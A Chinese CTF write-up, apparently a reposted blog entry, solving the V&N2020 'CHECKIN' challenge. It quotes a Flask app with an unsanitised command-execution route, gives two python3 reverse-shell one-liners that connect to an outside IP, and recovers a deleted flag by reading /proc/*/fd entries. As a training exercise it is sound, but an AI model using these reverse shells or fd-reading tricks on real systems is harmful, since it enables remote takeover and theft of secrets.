[V&N2020 公开赛]CHECKIN
作者:互联网
知识点
- 反弹shell
- 文件描述符
WP
进入环境审一下源码:
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
主要是这里:
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
我们可以get传参来命令执行,但是会先把flag.txt给删掉。还有一个问题就是os.system命令执行的结果是直接回显到终端的,我们在页面上面看不到,因此这题首先就需要反弹shell。因为这题是python环境,因此正常的反弹shell就是bash,nc,curl和python反弹。经过测试,这题前面三种方式都不行,因此只能python反弹。
但是这题有一个坑,就是没有python这个命令,有的是python3这个命令。自己用python反弹失败后也是没想到试试python3,然后就卡住了,还是太菜了。
python反弹shell的方式我目前知道这两种,经过测试都可以:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.***.***.***",39555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('118.***.***.***',39555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
成功反弹过shell后就该思考这题的核心考点了,就是既然已经rm -f了flag.txt,还怎么读到flag呢?
这里考察的是Linux中文件描述符的知识:
什么是文件描述符:内核利用文件描述符来访问文件。文件描述符是非负整数。打开现存文件或新建文件时,内核会返回一个文件描述符。读写文件也需要使用文件描述符来指定待读写的文件。
例如Python中,当我们open()函数打开一个文件时便创建了一个文件描述符,而后对这个文件描述符使用read()函数便是读取文件描述符中的内容,close()函数用于关闭/销毁这个文件描述符。
文件描述符储存在什么地方:
/proc/<pid>/fd<id>
因此我们既然有了shell,直接读内存中的flag文件就可以了,但是怎么读这里也是有几种姿势:
方法一:利用lsof命令
用lsof命令来查看所有打开的文件。但是这题没有lsof命令,只能用其他方法。
方法二:python命令行
直接暴力找:
python3 -c "import os;[os.system('cat /proc/'+str(i)+'/fd/3') for i in range(20)];"
或者
python3 -c "import os;[os.system('cat /proc/'+str(i)+'/fd/'+str(j)) for i in range(20) for j in range(10)];"
可以成功找到flag。
方法三:利用通配符
这也是我最喜欢的一种方法,利用通配符*,读取内存中所有文件:
cat /proc/*/fd/*
方法四:用手慢慢找
懂得都懂。。。。就有费时间费手。。。
标签:文件,shell,socket,CHECKIN,描述符,flag,公开赛,N2020,os 来源: https://blog.csdn.net/rfrder/article/details/111302258